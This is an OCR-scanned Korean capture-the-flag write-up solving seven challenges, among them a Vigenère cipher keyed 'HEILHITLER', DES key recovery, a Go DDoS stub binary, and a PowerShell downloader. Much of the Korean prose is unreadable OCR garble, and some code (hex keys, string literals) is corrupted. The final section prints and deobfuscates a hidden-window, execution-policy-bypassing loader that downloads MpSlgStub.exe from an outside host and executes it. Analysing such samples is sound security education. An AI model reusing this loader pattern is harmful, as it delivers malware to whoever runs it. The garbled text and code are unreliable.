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23X 1. HEILHITLER

1) =
1939-09-03

HEILHITLER, HTXCVDBYK KOI ATUSBYK FM XPP HBAPRZH

1939-10-01
HEILHITLER, WIVPAZTEI KOI ANHXT QPFD FG ZJBHMII 14AL

1940-11-12
HEILHITLER, JFKLTX{HPV4KPSV_Q3SQQ}

2) E0|
7}. HEILHITLER & 7| Vigenére 523}
HEILHITLER & = 7|2 AFESIY R Bl Y2 =2 H =Mz 22354t

2= 2: HTXCVDBYK KOI ATUSBYK FM XPP HBAPRZH

7|: HEILHITLE RHE ILHITLE RH EIL HITLERH

Z1k APPROVING THE SINKING OF THE ATHENIA
Lt & A A3 E 523}

2% 7 WIVPAZTEI KOI ANHXT QPFD FG ZJBHMII 14AL
Z1l: PENETRATE THE SCAPA FLOW BY OCTOBER 14TH

o
fot

Ct. OFX|9 2XHEO| 22 7| HE

&tz & JFKLTX{HPV4KPSV_Q35QQ}
Z1 CBCAMP{OERATION_F3LIX}

3) Python Z &

def dec(s, key):

out ="
j=0
forcins:
if c.isalpha():

k = ord(key[j % len(key)].upper()) - 65
b = 65 if c.isupper() else 97

out += chr((ord(c) - b - k) % 26 + b)
j+=1

else:



out +=c¢

return out
key = 'HEILHITLER'

print(dec('HTXCVDBYK KOI ATUSBYK FM XPP HBAPRZH', key))
print(dec('WIVPAZTE|I KOI ANHXT QPFD FG ZJBHMII 14AL', key))
print(dec('JFKLTX{HPV4KPSV_Q3SQQY}', key))

) MY AR

APPROVING THE SINKING OF THE ATHENIA
PENETRATE THE SCAPA FLOW BY OCTOBER 14TH
CBCAMP{OERATION_F3LIX}



Z2H| 2. Frequency

1) =
CHY 2X Xgtez fzstE 71 g0 20| FoTLt 2 EE 525
FLAG & ~otCt

Tidsn Oqrfn or rongte bfnne ysgy il ycs gdouyouj vub yeqsrsyyou;j
oubfryde. Tidsn Oqgrfn cvr hssu ycs oubfryde'r ryvubvdb bfnne ysgy ...

2) 20|

7t. 2%t i 7]

2= 9| Tidsn Ogrfn 22 Lorem lpsum 22 St §, i
St ST

Tidsn -> Lorem

Oqgrfn -> Ipsum

A=A -> BEA
a->k b->d c->h d->r e->y
f->u g->x h->b i->0 j->g
k->w |->f m->q n->m o->i
g->p r->s s->e t->| u->n
v->a w->j Xx->v y->t z->c
Lt IS #E TA = Z0 HE
2ot HSHS A2 E U0 HESHACL X S FLAG XAl &=

Lorem Ipsum is simply dummy text of the printing and typesetting industry.

The flag is the MD5 hash of the word 'frequency".

Please make sure to submit it in the correct flag format.
C}. frequency 2| MD5 |4t

23520 Lh2 T frequency & i E MD5 SHA|SHRAC

3) Python ZE

import hashlib

cipher = open('challenge (1).txt', encoding="utf-8').read()

=3
—_

X} ofo
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BHEEE SRS S O)ESH0] X|2

| RIA[Of| k2t

A S



¢ = 'abcdefghijklmnogrstuvwxyz'
p = 'kdhryuxbogwfgmipselnajvtc'
mp = dict(zip(c, p))

def dec(s):
out ="
for chins:
if ch.lower() in mp:
x = mp[ch.lower()]
out += x.upper() if ch.isupper() else x
else:
out += ch

return out

plain = dec(cipher)
print(plain)

h = hashlib.md5(b'frequency’).hexdigest()
print(h)
print(f CBCAMP{{{h}}}")

) MY 2D

The flag is the MD5 hash of the word 'frequency".

MD5: fad6c43b628858e0b472d0c164557fcf
FLAG: CBCAMP{fad6c43b628858e0b472d0c164557fcf}



=H| 3. DES Round Key

1) =

block cipher algorithm: DES

operation mode: ECB

round (16) key: Oxffffff000000

encrypted flag:
Oxbdacae316ff25d18d18d5a2a9ef642627d71292b6e8175eb987b0218c6cdd78a003f749b9fda104647ce5ae80d641098

2) 9|
7t 16 225 MEF| =4

FO{ Tl K16 = Oxffffff000000 2 48 H|EO|C}. DES & 16 22 EtX| & 28 H|E 2| S22 C16, D16 2
CO, DO 2 Z2 X2 =OF2C K16 o| 48 H{EE PC-2 {|X|0f| CtA| HYX|SHH CH2 HERZt =ICH

111111112111111112111211?111000000?0020000?0000000000?00
PC-2 Of| A ttZEl Xt2|7F 8 7HO|E 2 20] E0{& 2= 248 = 256 7{O|C}.

L}, 7] 2 2ol

8 72| 20f 0~255 2 R & [ 56 HE =

HL
i
2

=1, PC-1 2] K& Y22 X E3| 64 H|E DES
o
=

7|2 S5t} 2t HIO|E Q| parity bit & & Fl 256 7l 7|2 2= 2= DES-ECB S22}t ALt
CBCAMP{ 2 A|%f3t= B&20| Lt2 2 EE M5t

2 7|: e0e0e0e0f1f1f1f1
HE: CBCAMP{b4c113b550169a2aebc053e7d4cd5962}

3) Python ZE

from Crypto.Cipher import DES

key = bytes.fromhex('e0e0e0e0f1f1f11")

ct = bytes.fromhex(
'bdacae316ff25d18d18d5a2a9ef64262"
'7d71292b6e8175eb987b0218c6cdd78a’
'003f749b9fda104647ce5ae80d641098'



pt = DES.new(key, DES.MODE_ECB).decrypt(ct)
print(pt[:-pt[-1]].decode())

) MY A

key = e0e0e0e0f1f1f1f1
CBCAMP{b4c113b550169a2aebc053e7d4cd5962}



=Xl 4. QR Code
1) =H|
challenge.png 0l = QR ZEO|A FLAG & &QIstCt.

2) 20|
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CBCAMP{aba2193eb3d8c72535d4daf33adcf4ba}

Jlot

ol

3)

challenge.png EA|
o> SIIE 7022 QR &Y

-> QR Q4 21} ol
4) 4¥ 2t

CBCAMP{aba2193eb3d8c72535d4daf33adcf4ba}



=H| 5. Image OSINT

1) =

challenge jfif Off &F & HAE H=LCt

2) 20|

7}. Google Lens 2 2 & 0|0|X| Z4 A4

Thomas Jefferson Park
Manhattan, New York

3) =l 1

challenge jfif

-> Google Lens At O|O|X| Z4A4

> 22 THEE0| L2 S/ AT =P
-> ALZIO| FHa HE ol

-> Thomas Jefferson Park
4) ¥ Aq

Thomas Jefferson Park, Manhattan, New York



ZH| 6. Go Binary

1) =

challenge.exe & &30 L7 2| FLAG #t& H=Ct

2) 20|
7). A% THY 2RI

challenge.exe 2| EXtEE =I5t Go &= O|E1 URL EAtE S R ULCL

challenge/ddos.New
challenge/ddos.(*DDoS).Run
challenge/ddos.(*DDoS).Run.func

https://fake.target.com/?f_|_a_g=5c2448d63b4d99dc9d1b3b113ab1b355

Lt. ddos.New &50{A| URL ALE £IX| =l
Go Hto|LH2|9] AM&E0| Eot L0 go tool objdump Z challenge/ddos.New & 22152 CH URL
BXEE M2 5 net/url.Parse O MESt= I EJ} LE2LCL

ddos.go:31  LEAQ go:string.*+88662(SB), AX

ddos.go:31  MOVL $0x41, BX
ddos.go:31  CALL net/url.Parse(SB)

Ct. Run &0{A X 280 AHE5H=X| =2l
challenge/ddos.(*DDoS).Run.func1 2 221510 XZ& = URL O net/http.Client.Get Off L= E22

20l

ddos.go:53 MOVQ 0(DX), BX

ddos.go:53  MOVQ 0x8(DX), CX

client.go:453 MOVQ net/http.DefaultClient(SB), AX
client.go:453 CALL net/http.(*Client).Get(SB)

ct. f lLa_g ot2t0|E 2t =&
URL Q| fl_a_g= 7O Q= 32 At2| 16 Tl EXE S FE0LL FLAG S22 AL

f_|_a_g=5c2448d63b4d99dc9d1b3b113ab1b355

CBCAMP{5c2448d63b4d99dc9d1b3b113ab1b355}



4)

# Go o= &l
go tool objdump -s "challenge/ddos.New" challenge.exe

go tool objdump -s "challenge/ddos.*Run" challenge.exe

x =
#ﬂ T=

import re

data = open('challenge.exe’, 'rb').read()
m = re.search(rb'f_|_a_g=([0-9a-fl{32})", data)

value = m.group(1).decode()

print(value)
print(f CBCAMP{{{value}}}")

Mgz

5c2448d63b4d99dc9d1b3b113ab1b355
CBCAMP{5c2448d63b4d99dc9d1b3b113ab1b355}



22X 7. PowerShell Downloader

1) =H|
challenge.bat & E45}0] LI22E =2t L2 2 E L= exe It 0| S =0

2) 20|

7}. BAT ot 2| PowerShell 2= QI

challenge.bat 2 €™ PowerShell 0i| A Base64 &AtEES CI|Z ISt 7 Deflate YFS sHASt= ZEt
=01 AL

powershell -WindowStyle Hidden -ExecutionPolicy Bypass "
(New-Object System.lO.StreamReader(

(New-Object System.lO.Compression.DeflateStream(
[l0.MemoryStream][Convert]:FromBase64String('bVLIbsIwFPyV..TWLw=="),
[10.Compression.CompressionMode]::Decompress

),

[System.Text.Encoding]::ASClII

)).ReadToEnd() | ...

MEE|= A gt CHS & 7HO|C
FromBase64String(...)
DeflateStream(...)

Lt. Base64 =& £ raw Deflate oli X

X EE =0 7l Base64 C| R I 1 raw Deflate &S S E = SHRALCE

Mo
mjo

FromBase645String('...") 2t2

import re
import base64

import zlib
s = open('challenge.bat’, encoding="latin1").read()

b64 = re.search(
r"FromBase64StringW('([A']+)"¥)",
s, re.l

)-group(1)

data = base64.b64decode(b64)
code = zlib.decompress(data, -15).decode()



print(code)

SHX|SHH & HA PowerShell

2 H=ote QUCH

OI-

2
H==
o

B

C}. C}2 2E URL 2XtHE

=9

${uRL} = (
"{1THEHSHOH2H1OH3HAHTHOHTHEY" -f
‘oogle’,
'Imal’,
.com’,
'w/cb’,
‘camp’,
'tes.g’,
/st
'/pow’,
'ware',
‘erfu’,
'fvie',
'https’

)

PowerShell 2| -f 04

{11} -> https
{6} ->//si
{5} -> tesg
{0} -> oogle
{2} -> .com
{10} -> /vie
{3} -> w/cb
{4} -> camp
{1} -> /pow
{9} -> erfu
{1} -> Imal
{

8} -> ware

T LIt == EICEH URL 1 If

https://sites.google.com/view/cbcamp/powerfulmalware

2f. exe It O] E¢

${file} = ("{TH2HONM3}" -
'ub.,
'‘MpSl',

Ql
=

0l

o

=
e

=
L

rlo

Ct

o
[=]

ap 20

=
=

f

A
=



'gSt,

exe

)

{1} -> MpSl

{2} -> gSt

{0} -> ub.

{3} -> exe
MpSlgStub.exe

Of. DownloadFile 2& %9l
"(2H3HOM4M 1" -f

'ad’,'le','Dow"','nlo","Fi'

-> DownloadFile

SR E FEM System.Net.WebClient 2| DownloadFile O] URL 2

N

2 2QISIRALE 0|2 shell.application 2| shellexecute 2 i & It

System.Net.WebClient
-> DownloadFile(URL, file)
-> MpSlgStub.exe X%
-> shell.application / shellexecute

3) Python Z &

import re
import base64

import zlib
s = open('challenge.bat’, encoding="latin1").read()

b64 = re.search(
r"FromBase64StringW('([A']+)"#)",
s, re.l

)-group(1)

code = zlib.decompress(
base64.b64decode(b64), -15
).decode()

print(code)

ol
=



) MY A

CREE ZE:

https://sites.google.com/view/cbcamp/powerfulmalware

2 ot 0| E:

MpSlgStub.exe
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